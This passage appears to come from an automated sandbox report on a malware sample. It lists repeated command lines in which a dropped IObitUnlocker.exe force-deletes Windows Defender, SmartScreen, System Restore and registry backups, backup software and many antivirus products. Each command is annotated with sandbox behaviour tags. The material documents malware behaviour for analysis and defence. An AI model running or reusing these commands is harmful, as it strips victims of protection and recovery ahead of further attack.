Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\CloneAppParameters.exe","C:\Windows\CloneAppParameters.exe","C:\ProgramData\CloneAppParameters.exe","C:\Windows\system32\OneDrivePatcher.exe","C:\Windows\OneDrivePatcher.exe","C:\ProgramData\OneDrivePatcher.exe","C:\Windows\system32\PhotoRecoveryTable.exe","C:\Windows\PhotoRecoveryTable.exe","C:\ProgramData\PhotoRecoveryTable.exe","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                PID:5988
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\CloneAppParameters.exe","C:\Windows\CloneAppParameters.exe","C:\ProgramData\CloneAppParameters.exe","C:\Windows\system32\OneDrivePatcher.exe","C:\Windows\OneDrivePatcher.exe","C:\ProgramData\OneDrivePatcher.exe","C:\Windows\system32\PhotoRecoveryTable.exe","C:\Windows\PhotoRecoveryTable.exe","C:\ProgramData\PhotoRecoveryTable.exe","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                PID:2504
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\CloneAppParameters.exe","C:\Windows\CloneAppParameters.exe","C:\ProgramData\CloneAppParameters.exe","C:\Windows\system32\OneDrivePatcher.exe","C:\Windows\OneDrivePatcher.exe","C:\ProgramData\OneDrivePatcher.exe","C:\Windows\system32\PhotoRecoveryTable.exe","C:\Windows\PhotoRecoveryTable.exe","C:\ProgramData\PhotoRecoveryTable.exe","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                                                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                                                                                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                                                                PID:3184
                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows